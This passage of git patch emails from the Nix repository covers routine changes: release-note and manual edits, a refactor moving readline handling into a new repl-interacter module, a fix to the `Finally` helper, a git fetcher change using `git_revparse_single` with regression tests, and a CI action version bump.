(including `nix develop`, `nix flake - update`, and so on). With several fixes to Nix's signal handlers, Nix commands - will now exit quickly after Ctrl-C is pressed. - - This was actually released in Nix 2.20, but wasn't added to the release notes - so we're announcing it here. The historical release notes have been updated as well. - - `nix repl` pretty-prints values [#9931](https://github.com/NixOS/nix/pull/9931) `nix repl` will now pretty-print values: @@ -311,12 +253,6 @@ nix-repl> ``` -- `nix repl` now respects Ctrl-C while printing values [#9927](https://github.com/NixOS/nix/pull/9927) - - `nix repl` will now halt immediately when Ctrl-C is pressed while it's printing - a value. This is useful if you got curious about what would happen if you - printed all of Nixpkgs. - - Cycle detection in `nix repl` is simpler and more reliable [#8672](https://github.com/NixOS/nix/issues/8672) [#9926](https://github.com/NixOS/nix/pull/9926) The cycle detection in `nix repl`, `nix eval`, `builtins.trace`, and everywhere From 7f45b1c8d8caf4beeb68c981ae813d6251a7ee63 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 11 Mar 2024 09:21:24 -0700 Subject: [PATCH 0230/1251] Add release note --- doc/manual/rl-next/nix-eval-derivations.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 doc/manual/rl-next/nix-eval-derivations.md diff --git a/doc/manual/rl-next/nix-eval-derivations.md b/doc/manual/rl-next/nix-eval-derivations.md new file mode 100644 index 000000000..ed0a73384 --- /dev/null +++ b/doc/manual/rl-next/nix-eval-derivations.md @@ -0,0 +1,13 @@ +--- +synopsis: "`nix eval` prints derivations as `.drv` paths" +prs: 10200 +--- + +`nix eval` will now print derivations as their `.drv` paths, rather than as +attribute sets. This makes commands like `nix eval nixpkgs#bash` terminate +instead of infinitely looping into recursive self-referential attributes: + +```ShellSession +$ nix eval nixpkgs#bash +«derivation /nix/store/m32cbgbd598f4w299g0hwyv7gbw6rqcg-bash-5.2p26.drv» +``` From db36c9ca90794fe82e66d4e0fb7754875978de29 Mon Sep 17 00:00:00 2001 From: Viktor Sonesten Date: Mon, 11 Mar 2024 19:17:45 +0100 Subject: [PATCH 0231/1251] nix-copy: document --all --from local binary cache example --- src/nix/copy.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/nix/copy.md b/src/nix/copy.md index 199006436..6ab7cdee3 100644 --- a/src/nix/copy.md +++ b/src/nix/copy.md @@ -11,6 +11,12 @@ R""( Note the `file://` - without this, the destination is a chroot store, not a binary cache. +* Copy all store paths from a local binary cache in `/tmp/cache` to the local store: + + ```console + # nix copy --all --from file:///tmp/cache + ``` + * Copy the entire current NixOS system closure to another machine via SSH: From 222c38370fcf3ae52bc1883aafcadbbad3df7d1c Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 11 Mar 2024 21:16:10 +0100 Subject: [PATCH 0232/1251] Bump version --- .version | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.version b/.version index db65e2167..f48f82fa2 100644 --- a/.version +++ b/.version @@ -1 +1 @@ -2.21.0 +2.22.0 From aa121dc318db9918545554aad14c490b7088cf59 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 11 Mar 2024 22:02:01 +0000 Subject: [PATCH 0233/1251] Bump cachix/install-nix-action from 25 to 26 Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 25 to 26. - [Release notes](https://github.com/cachix/install-nix-action/releases) - [Commits](https://github.com/cachix/install-nix-action/compare/v25...v26) --- updated-dependencies: - dependency-name: cachix/install-nix-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 620a84b79..8bd355cca 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -20,7 +20,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: # The sandbox would otherwise be disabled by default on Darwin extra_nix_config: "sandbox = true" @@ -62,7 +62,7 @@ jobs: with: fetch-depth: 0 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - uses: cachix/cachix-action@v14 @@ -84,7 +84,7 @@ jobs: steps: - uses: actions/checkout@v4 - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: '${{needs.installer.outputs.installerURL}}' install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve" @@ -114,7 +114,7 @@ jobs: - uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: cachix/install-nix-action@v25 + - uses: cachix/install-nix-action@v26 with: install_url: https://releases.nixos.org/nix/nix-2.20.3/install - run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV From 76aced691552e193e0225af40f8acf484cfeaefe Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Mon, 26 Feb 2024 01:21:54 -0800 Subject: [PATCH 0234/1251] finally.hh: delete copy constructor which is a bad idea --- src/libutil/finally.hh | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/libutil/finally.hh b/src/libutil/finally.hh index 4cae20a36..f9f0195a1 100644 --- a/src/libutil/finally.hh +++ b/src/libutil/finally.hh @@ -11,8 +11,15 @@ class [[nodiscard("Finally values must be used")]] Finally { private: Fn fun; + bool movedFrom = false; public: Finally(Fn fun) : fun(std::move(fun)) { } - ~Finally() { fun(); } + // Copying Finallys is definitely not a good idea and will cause them to be + // called twice. + Finally(Finally &other) = delete; + Finally(Finally &&other) : fun(std::move(other.fun)) { + other.movedFrom = true; + } + ~Finally() { if (!movedFrom) fun(); } }; From 70a6ce139bd39f915a6c2c499d741e2c27557dc0 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Mon, 26 Feb 2024 00:34:11 -0800 Subject: [PATCH 0235/1251] refactor: move readline stuff into its own file This is in direct preparation for an automation mode of nix repl. --- src/libcmd/repl-interacter.cc | 175 ++++++++++++++++++++++++++++++++++ src/libcmd/repl-interacter.hh | 48 ++++++++++ src/libcmd/repl.cc | 175 ++-------------------------------- src/libcmd/repl.hh | 5 - 4 files changed, 232 insertions(+), 171 deletions(-) create mode 100644 src/libcmd/repl-interacter.cc create mode 100644 src/libcmd/repl-interacter.hh diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc new file mode 100644 index 000000000..9aa1f7bb9 --- /dev/null +++ b/src/libcmd/repl-interacter.cc @@ -0,0 +1,175 @@ +#include "file-system.hh" +#include "libcmd/repl.hh" +#include + +#ifdef USE_READLINE +#include +#include +#else +// editline < 1.15.2 don't wrap their API for C++ usage +// (added in https://github.com/troglobit/editline/commit/91398ceb3427b730995357e9d120539fb9bb7461). +// This results in linker errors due to to name-mangling of editline C symbols. +// For compatibility with these versions, we wrap the API here +// (wrapping multiple times on newer versions is no problem). +extern "C" { +#include +} +#endif + +#include "signals.hh" +#include "finally.hh" +#include "repl-interacter.hh" + +namespace nix { + +namespace { +// Used to communicate to NixRepl::getLine whether a signal occurred in ::readline. +volatile sig_atomic_t g_signal_received = 0; + +void sigintHandler(int signo) +{ + g_signal_received = signo; +} +}; + +static detail::ReplCompleterMixin * curRepl; // ugly + +static char * completionCallback(char * s, int * match) +{ + auto possible = curRepl->completePrefix(s); + if (possible.size() == 1) { + *match = 1; + auto * res = strdup(possible.begin()->c_str() + strlen(s)); + if (!res) + throw Error("allocation failure"); + return res; + } else if (possible.size() > 1) { + auto checkAllHaveSameAt = [&](size_t pos) { + auto & first = *possible.begin(); + for (auto & p : possible) { + if (p.size() <= pos || p[pos] != first[pos]) + return false; + } + return true; + }; + size_t start = strlen(s); + size_t len = 0; + while (checkAllHaveSameAt(start + len)) + ++len; + if (len > 0) { + *match = 1; + auto * res = strdup(std::string(*possible.begin(), start, len).c_str()); + if (!res) + throw Error("allocation failure"); + return res; + } + } + + *match = 0; + return nullptr; +} + +static int listPossibleCallback(char * s, char *** avp) +{ + auto possible = curRepl->completePrefix(s); + + if (possible.size() > (INT_MAX / sizeof(char *))) + throw Error("too many completions"); + + int ac = 0; + char ** vp = nullptr; + + auto check = [&](auto * p) { + if (!p) { + if (vp) { + while (--ac >= 0) + free(vp[ac]); + free(vp); + } + throw Error("allocation failure"); + } + return p; + }; + + vp = check((char **) malloc(possible.size() * sizeof(char *))); + + for (auto & p : possible) + vp[ac++] = check(strdup(p.c_str())); + + *avp = vp; + + return ac; +} + +ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleterMixin * repl) +{ + // Allow nix-repl specific settings in .inputrc + rl_readline_name = "nix-repl"; + try { + createDirs(dirOf(historyFile)); + } catch (SystemError & e) { + logWarning(e.info()); + } +#ifndef USE_READLINE + el_hist_size = 1000; +#endif + read_history(historyFile.c_str()); + auto oldRepl = curRepl; + curRepl = repl; + Guard restoreRepl([oldRepl] { curRepl = oldRepl; }); +#ifndef USE_READLINE + rl_set_complete_func(completionCallback); + rl_set_list_possib_func(listPossibleCallback); +#endif + return restoreRepl; +} + +bool ReadlineLikeInteracter::getLine(std::string & input, const std::string & prompt) +{ + struct sigaction act, old; + sigset_t savedSignalMask, set; + + auto setupSignals = [&]() { + act.sa_handler = sigintHandler; + sigfillset(&act.sa_mask); + act.sa_flags = 0; + if (sigaction(SIGINT, &act, &old)) + throw SysError("installing handler for SIGINT"); + + sigemptyset(&set); + sigaddset(&set, SIGINT); + if (sigprocmask(SIG_UNBLOCK, &set, &savedSignalMask)) + throw SysError("unblocking SIGINT"); + }; + auto restoreSignals = [&]() { + if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) + throw SysError("restoring signals"); + + if (sigaction(SIGINT, &old, 0)) + throw SysError("restoring handler for SIGINT"); + }; + + setupSignals(); + char * s = readline(prompt.c_str()); + Finally doFree([&]() { free(s); }); + restoreSignals(); + + if (g_signal_received) { + g_signal_received = 0; + input.clear(); + return true; + } + + if (!s) + return false; + input += s; + input += '\n'; + return true; +} + +ReadlineLikeInteracter::~ReadlineLikeInteracter() +{ + write_history(historyFile.c_str()); +} + +}; diff --git a/src/libcmd/repl-interacter.hh b/src/libcmd/repl-interacter.hh new file mode 100644 index 000000000..e549bab36 --- /dev/null +++ b/src/libcmd/repl-interacter.hh @@ -0,0 +1,48 @@ +#pragma once +/// @file + +#include "finally.hh" +#include "types.hh" +#include +#include + +namespace nix { + +namespace detail { +/** Provides the completion hooks for the repl, without exposing its complete + * internals. */ +struct ReplCompleterMixin { + virtual StringSet completePrefix(const std::string & prefix) = 0; +}; +}; + +enum class ReplPromptType { + ReplPrompt, + ContinuationPrompt, +}; + +class ReplInteracter +{ +public: + using Guard = Finally>; + + virtual Guard init(detail::ReplCompleterMixin * repl) = 0; + /** Returns a boolean of whether the interacter got EOF */ + virtual bool getLine(std::string & input, const std::string & prompt) = 0; + virtual ~ReplInteracter(){}; +}; + +class ReadlineLikeInteracter : public virtual ReplInteracter +{ + std::string historyFile; +public: + ReadlineLikeInteracter(std::string historyFile) + : historyFile(historyFile) + { + } + virtual Guard init(detail::ReplCompleterMixin * repl) override; + virtual bool getLine(std::string & input, const std::string & prompt) override; + virtual ~ReadlineLikeInteracter() override; +}; + +}; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8b83608fa..8af3c5ff3 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -3,32 +3,17 @@ #include #include -#include - -#ifdef USE_READLINE -#include -#include -#else -// editline < 1.15.2 don't wrap their API for C++ usage -// (added in https://github.com/troglobit/editline/commit/91398ceb3427b730995357e9d120539fb9bb7461). -// This results in linker errors due to to name-mangling of editline C symbols. -// For compatibility with these versions, we wrap the API here -// (wrapping multiple times on newer versions is no problem). -extern "C" { -#include -} -#endif - +#include "libcmd/repl-interacter.hh" #include "repl.hh" #include "ansicolor.hh" -#include "signals.hh" #include "shared.hh" #include "eval.hh" #include "eval-cache.hh" #include "eval-inline.hh" #include "eval-settings.hh" #include "attr-path.hh" +#include "signals.hh" #include "store-api.hh" #include "log-store.hh" #include "common-eval-args.hh" @@ -38,7 +23,6 @@ extern "C" { #include "flake/flake.hh" #include "flake/lockfile.hh" #include "users.hh" -#include "terminal.hh" #include "editor-for.hh" #include "finally.hh" #include "markdown.hh" @@ -75,6 +59,7 @@ enum class ProcessLineResult { struct NixRepl : AbstractNixRepl + , detail::ReplCompleterMixin #if HAVE_BOEHMGC , gc #endif @@ -90,17 +75,16 @@ struct NixRepl int displ; StringSet varNames; - const Path historyFile; + std::unique_ptr interacter; NixRepl(const SearchPath & searchPath, nix::ref store,ref state, std::function getValues); - virtual ~NixRepl(); + virtual ~NixRepl() = default; ReplExitStatus mainLoop() override; void initEnv() override; - StringSet completePrefix(const std::string & prefix); - bool getLine(std::string & input, const std::string & prompt); + virtual StringSet completePrefix(const std::string & prefix) override; StorePath getDerivationPath(Value & v); ProcessLineResult processLine(std::string line); @@ -143,16 +127,10 @@ NixRepl::NixRepl(const SearchPath & searchPath, nix::ref store, refstaticBaseEnv.get())) - , historyFile(getDataDir() + "/nix/repl-history") + , interacter(make_unique(getDataDir() + "/nix/repl-history")) { } - -NixRepl::~NixRepl() -{ - write_history(historyFile.c_str()); -} - void runNix(Path program, const Strings & args, const std::optional & input = {}) { @@ -169,79 +147,6 @@ void runNix(Path program, const Strings & args, return; } -static NixRepl * curRepl; // ugly - -static char * completionCallback(char * s, int *match) { - auto possible = curRepl->completePrefix(s); - if (possible.size() == 1) { - *match = 1; - auto *res = strdup(possible.begin()->c_str() + strlen(s)); - if (!res) throw Error("allocation failure"); - return res; - } else if (possible.size() > 1) { - auto checkAllHaveSameAt = [&](size_t pos) { - auto &first = *possible.begin(); - for (auto &p : possible) { - if (p.size() <= pos || p[pos] != first[pos]) - return false; - } - return true; - }; - size_t start = strlen(s); - size_t len = 0; - while (checkAllHaveSameAt(start + len)) ++len; - if (len > 0) { - *match = 1; - auto *res = strdup(std::string(*possible.begin(), start, len).c_str()); - if (!res) throw Error("allocation failure"); - return res; - } - } - - *match = 0; - return nullptr; -} - -static int listPossibleCallback(char *s, char ***avp) { - auto possible = curRepl->completePrefix(s); - - if (possible.size() > (INT_MAX / sizeof(char*))) - throw Error("too many completions"); - - int ac = 0; - char **vp = nullptr; - - auto check = [&](auto *p) { - if (!p) { - if (vp) { - while (--ac >= 0) - free(vp[ac]); - free(vp); - } - throw Error("allocation failure"); - } - return p; - }; - - vp = check((char **)malloc(possible.size() * sizeof(char*))); - - for (auto & p : possible) - vp[ac++] = check(strdup(p.c_str())); - - *avp = vp; - - return ac; -} - -namespace { - // Used to communicate to NixRepl::getLine whether a signal occurred in ::readline. - volatile sig_atomic_t g_signal_received = 0; - - void sigintHandler(int signo) { - g_signal_received = signo; - } -} - static std::ostream & showDebugTrace(std::ostream & out, const PosTable & positions, const DebugTrace & dt) { if (dt.isError) @@ -281,24 +186,7 @@ ReplExitStatus NixRepl::mainLoop() loadFiles(); - // Allow nix-repl specific settings in .inputrc - rl_readline_name = "nix-repl"; - try { - createDirs(dirOf(historyFile)); - } catch (SystemError & e) { - logWarning(e.info()); - } -#ifndef USE_READLINE - el_hist_size = 1000; -#endif - read_history(historyFile.c_str()); - auto oldRepl = curRepl; - curRepl = this; - Finally restoreRepl([&] { curRepl = oldRepl; }); -#ifndef USE_READLINE - rl_set_complete_func(completionCallback); - rl_set_list_possib_func(listPossibleCallback); -#endif + auto _guard = interacter->init(static_cast(this)); std::string input; @@ -307,7 +195,7 @@ ReplExitStatus NixRepl::mainLoop() logger->pause(); // When continuing input from previous lines, don't print a prompt, just align to the same // number of chars as the prompt. - if (!getLine(input, input.empty() ? "nix-repl> " : " ")) { + if (!interacter->getLine(input, input.empty() ? "nix-repl> " : " ")) { // Ctrl-D should exit the debugger. state->debugStop = false; logger->cout(""); @@ -356,51 +244,6 @@ ReplExitStatus NixRepl::mainLoop() } } - -bool NixRepl::getLine(std::string & input, const std::string & prompt) -{ - struct sigaction act, old; - sigset_t savedSignalMask, set; - - auto setupSignals = [&]() { - act.sa_handler = sigintHandler; - sigfillset(&act.sa_mask); - act.sa_flags = 0; - if (sigaction(SIGINT, &act, &old)) - throw SysError("installing handler for SIGINT"); - - sigemptyset(&set); - sigaddset(&set, SIGINT); - if (sigprocmask(SIG_UNBLOCK, &set, &savedSignalMask)) - throw SysError("unblocking SIGINT"); - }; - auto restoreSignals = [&]() { - if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) - throw SysError("restoring signals"); - - if (sigaction(SIGINT, &old, 0)) - throw SysError("restoring handler for SIGINT"); - }; - - setupSignals(); - char * s = readline(prompt.c_str()); - Finally doFree([&]() { free(s); }); - restoreSignals(); - - if (g_signal_received) { - g_signal_received = 0; - input.clear(); - return true; - } - - if (!s) - return false; - input += s; - input += '\n'; - return true; -} - - StringSet NixRepl::completePrefix(const std::string & prefix) { StringSet completions; diff --git a/src/libcmd/repl.hh b/src/libcmd/repl.hh index 21aa8bfc7..aac79ec74 100644 --- a/src/libcmd/repl.hh +++ b/src/libcmd/repl.hh @@ -3,11 +3,6 @@ #include "eval.hh" -#if HAVE_BOEHMGC -#define GC_INCLUDE_NEW -#include -#endif - namespace nix { struct AbstractNixRepl From ea31b8a117e0a2e18809fd3921209d106d9040c8 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Mon, 26 Feb 2024 00:43:44 -0800 Subject: [PATCH 0236/1251] refactor: repl prompts are now the job of the interacter --- src/libcmd/repl-interacter.cc | 19 +++++++++++++++---- src/libcmd/repl-interacter.hh | 4 ++-- src/libcmd/repl.cc | 2 +- 3 files changed, 18 insertions(+), 7 deletions(-) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 9aa1f7bb9..3e34ecdb6 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -1,5 +1,3 @@ -#include "file-system.hh" -#include "libcmd/repl.hh" #include #ifdef USE_READLINE @@ -19,6 +17,8 @@ extern "C" { #include "signals.hh" #include "finally.hh" #include "repl-interacter.hh" +#include "file-system.hh" +#include "libcmd/repl.hh" namespace nix { @@ -124,7 +124,18 @@ ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleter return restoreRepl; } -bool ReadlineLikeInteracter::getLine(std::string & input, const std::string & prompt) +static constexpr const char * promptForType(ReplPromptType promptType) +{ + switch (promptType) { + case ReplPromptType::ReplPrompt: + return "nix-repl> "; + case ReplPromptType::ContinuationPrompt: + return " "; + } + assert(false); +} + +bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptType) { struct sigaction act, old; sigset_t savedSignalMask, set; @@ -150,7 +161,7 @@ bool ReadlineLikeInteracter::getLine(std::string & input, const std::string & pr }; setupSignals(); - char * s = readline(prompt.c_str()); + char * s = readline(promptForType(promptType)); Finally doFree([&]() { free(s); }); restoreSignals(); diff --git a/src/libcmd/repl-interacter.hh b/src/libcmd/repl-interacter.hh index e549bab36..cc70efd07 100644 --- a/src/libcmd/repl-interacter.hh +++ b/src/libcmd/repl-interacter.hh @@ -28,7 +28,7 @@ public: virtual Guard init(detail::ReplCompleterMixin * repl) = 0; /** Returns a boolean of whether the interacter got EOF */ - virtual bool getLine(std::string & input, const std::string & prompt) = 0; + virtual bool getLine(std::string & input, ReplPromptType promptType) = 0; virtual ~ReplInteracter(){}; }; @@ -41,7 +41,7 @@ public: { } virtual Guard init(detail::ReplCompleterMixin * repl) override; - virtual bool getLine(std::string & input, const std::string & prompt) override; + virtual bool getLine(std::string & input, ReplPromptType promptType) override; virtual ~ReadlineLikeInteracter() override; }; diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8af3c5ff3..228d66f5e 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -195,7 +195,7 @@ ReplExitStatus NixRepl::mainLoop() logger->pause(); // When continuing input from previous lines, don't print a prompt, just align to the same // number of chars as the prompt. - if (!interacter->getLine(input, input.empty() ? "nix-repl> " : " ")) { + if (!interacter->getLine(input, input.empty() ? ReplPromptType::ReplPrompt : ReplPromptType::ContinuationPrompt)) { // Ctrl-D should exit the debugger. state->debugStop = false; logger->cout(""); From e5840d57605bdc67fa1a1948e601734e99d1cb91 Mon Sep 17 00:00:00 2001 From: Emanuel Czirai Date: Wed, 13 Mar 2024 20:35:24 +0100 Subject: [PATCH 0237/1251] typo consant->constant in context.cc --- src/libexpr/primops/context.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 1eec8b316..88502fe2d 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -137,7 +137,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ .name = "__addDrvOutputDependencies", .args = {"s"}, .doc = R"( - Create a copy of the given string where a single consant string context element is turned into a "derivation deep" string context element. + Create a copy of the given string where a single constant string context element is turned into a "derivation deep" string context element. The store path that is the constant string context element should point to a valid derivation, and end in `.drv`. From 60c2d15f5a7db86eb79c11c4a863789d186e8650 Mon Sep 17 00:00:00 2001 From: Bouke van der Bijl Date: Thu, 14 Mar 2024 14:04:51 +0100 Subject: [PATCH 0238/1251] git fetcher: use resolveRef for getting revision of reference * Add regression test * Fix 'no repo' test so it doesn't succeed if the data is still in cache * Use git_revparse_single inside git-utils instead of reimplementing the same logic. --- src/libfetchers/git-utils.cc | 24 ++++-------------------- src/libfetchers/git.cc | 2 +- tests/functional/fetchGit.sh | 9 +++++++++ 3 files changed, 14 insertions(+), 21 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 9cae9034e..b723554cc 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -21,6 +21,7 @@ #include #include #include +#include #include #include #include @@ -199,27 +200,10 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this Hash resolveRef(std::string ref) override { - // Handle revisions used as refs. - { - git_oid oid; - if (git_oid_fromstr(&oid, ref.c_str()) == 0) - return toHash(oid); - } - - // Resolve short names like 'master'. - Reference ref2; - if (!git_reference_dwim(Setter(ref2), *this, ref.c_str())) - ref = git_reference_name(ref2.get()); - - // Resolve full references like 'refs/heads/master'. - Reference ref3; - if (git_reference_lookup(Setter(ref3), *this, ref.c_str())) + Object object; + if (git_revparse_single(Setter(object), *this, ref.c_str())) throw Error("resolving Git reference '%s': %s", ref, git_error_last()->message); - - auto oid = git_reference_target(ref3.get()); - if (!oid) - throw Error("cannot get OID for Git reference '%s'", git_reference_name(ref3.get())); - + auto oid = git_object_id(object.get()); return toHash(*oid); } diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 25eabb1dc..34cfd3f5b 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -585,7 +585,7 @@ struct GitInputScheme : InputScheme repoInfo.url ); } else - input.attrs.insert_or_assign("rev", Hash::parseAny(chomp(readFile(localRefFile)), HashAlgorithm::SHA1).gitRev()); + input.attrs.insert_or_assign("rev", repo->resolveRef(ref).gitRev()); // cache dir lock is removed at scope end; we will only use read-only operations on specific revisions in the remainder } diff --git a/tests/functional/fetchGit.sh b/tests/functional/fetchGit.sh index 3f2d0d5fb..74d6de4e3 100644 --- a/tests/functional/fetchGit.sh +++ b/tests/functional/fetchGit.sh @@ -43,10 +43,18 @@ path0_=$(nix eval --impure --raw --expr "(builtins.fetchTree git+file://$TEST_RO export _NIX_FORCE_HTTP=1 [[ $(tail -n 1 $path0/hello) = "hello" ]] +# Nuke the cache +rm -rf $TEST_HOME/.cache/nix + # Fetch the default branch. path=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath") [[ $(cat $path/hello) = world ]] +# Fetch when the cache has packed-refs +# Regression test of #8822 +git -C $TEST_HOME/.cache/nix/gitv3/*/ pack-refs --all +path=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath") + # Fetch a rev from another branch git -C $repo checkout -b devtest echo "different file" >> $TEST_ROOT/git/differentbranch @@ -251,6 +259,7 @@ path12=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = file://$repo # should fail if there is no repo rm -rf $repo/.git +rm -rf $TEST_HOME/.cache/nix (! nix eval --impure --raw --expr "(builtins.fetchGit \"file://$repo\").outPath") # should succeed for a repo without commits From 3754614b9cd2d1a16cbc3eb4c8011c32918c4baa Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 14 Mar 2024 15:01:47 +0100 Subject: [PATCH 0239/1251] adjust anchor redirects to point to new pages a previous moving of files accounted for server-side redirects, but not client-side redirects. --- doc/manual/redirects.js | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 28b80f589..25648969d 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -14,7 +14,7 @@ const redirects = { "index.html": { - "part-advanced-topics": "advanced-topics/advanced-topics.html", + "part-advanced-topics": "advanced-topics/index.html", "chap-tuning-cores-and-jobs": "advanced-topics/cores-vs-jobs.html", "chap-diff-hook": "advanced-topics/diff-hook.html", "check-dirs-are-unregistered": "advanced-topics/diff-hook.html#check-dirs-are-unregistered", @@ -22,7 +22,7 @@ const redirects = { "chap-post-build-hook": "advanced-topics/post-build-hook.html", "chap-post-build-hook-caveats": "advanced-topics/post-build-hook.html#implementation-caveats", "chap-writing-nix-expressions": "language/index.html", - "part-command-ref": "command-ref/command-ref.html", + "part-command-ref": "command-ref/index.html", "conf-allow-import-from-derivation": "command-ref/conf-file.html#conf-allow-import-from-derivation", "conf-allow-new-privileges": "command-ref/conf-file.html#conf-allow-new-privileges", "conf-allowed-uris": "command-ref/conf-file.html#conf-allowed-uris", @@ -261,7 +261,7 @@ const redirects = { "sec-installer-proxy-settings": "installation/env-variables.html#proxy-environment-variables", "sec-nix-ssl-cert-file": "installation/env-variables.html#nix_ssl_cert_file", "sec-nix-ssl-cert-file-with-nix-daemon-and-macos": "installation/env-variables.html#nix_ssl_cert_file-with-macos-and-the-nix-daemon", - "chap-installation": "installation/installation.html", + "chap-installation": "installation/index.html", "ch-installing-binary": "installation/installing-binary.html", "sect-macos-installation": "installation/installing-binary.html#macos-installation", "sect-macos-installation-change-store-prefix": "installation/installing-binary.html#macos-installation", @@ -288,7 +288,7 @@ const redirects = { "ssec-copy-closure": "package-management/copy-closure.html", "sec-garbage-collection": "package-management/garbage-collection.html", "ssec-gc-roots": "package-management/garbage-collector-roots.html", - "chap-package-management": "package-management/package-management.html", + "chap-package-management": "package-management/index.html", "sec-profiles": "package-management/profiles.html", "ssec-s3-substituter": "package-management/s3-substituter.html", "ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", @@ -297,7 +297,7 @@ const redirects = { "sec-sharing-packages": "package-management/sharing-packages.html", "ssec-ssh-substituter": "package-management/ssh-substituter.html", "chap-quick-start": "quick-start.html", - "sec-relnotes": "release-notes/release-notes.html", + "sec-relnotes": "release-notes/index.html", "ch-relnotes-0.10.1": "release-notes/rl-0.10.1.html", "ch-relnotes-0.10": "release-notes/rl-0.10.html", "ssec-relnotes-0.11": "release-notes/rl-0.11.html", From a50295425ea205863ef41f66cfbe9c01937ebd08 Mon Sep 17 00:00:00 2001 From: Dimitar Nestorov <8790386+DimitarNestorov@users.noreply.github.com> Date: Thu, 14 Mar 2024 16:15:52 +0200 Subject: [PATCH 0240/1251] docs: update registry examples When you run `nix flake info` you get a deprecated message --- src/nix/registry-pin.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/nix/registry-pin.md b/src/nix/registry-pin.md index ebc0e3eff..5ad4f8709 100644 --- a/src/nix/registry-pin.md +++ b/src/nix/registry-pin.md @@ -15,10 +15,10 @@ R""( user flake:nixpkgs github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a ``` - and `nix flake info` will say: + and `nix flake metadata` will say: ```console - # nix flake info nixpkgs + # nix flake metadata nixpkgs Resolved URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a Locked URL: github:NixOS/nixpkgs/925b70cd964ceaedee26fde9b19cc4c4f081196a … From 49e9efeaaaf4546f8daa2e33dd5191a2c288f737 Mon Sep 17 00:00:00 2001 From: Daniel Sidhion Date: Thu, 14 Mar 2024 23:09:47 -0700 Subject: [PATCH 0241/1251] doc: document SRI hash format for `outputHash` (#10230) --- doc/manual/src/language/advanced-attributes.md | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 7306fc182..b3e3afe3b 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -188,9 +188,13 @@ Derivations can declare some infrequently used optional attributes. } ``` - The `outputHashAlgo` attribute specifies the hash algorithm used to - compute the hash. It can currently be `"sha1"`, `"sha256"` or - `"sha512"`. + The `outputHash` attribute must be a string containing the hash in either hexadecimal or "nix32" encoding, or following the format for integrity metadata as defined by [SRI](https://www.w3.org/TR/SRI/). + The "nix32" 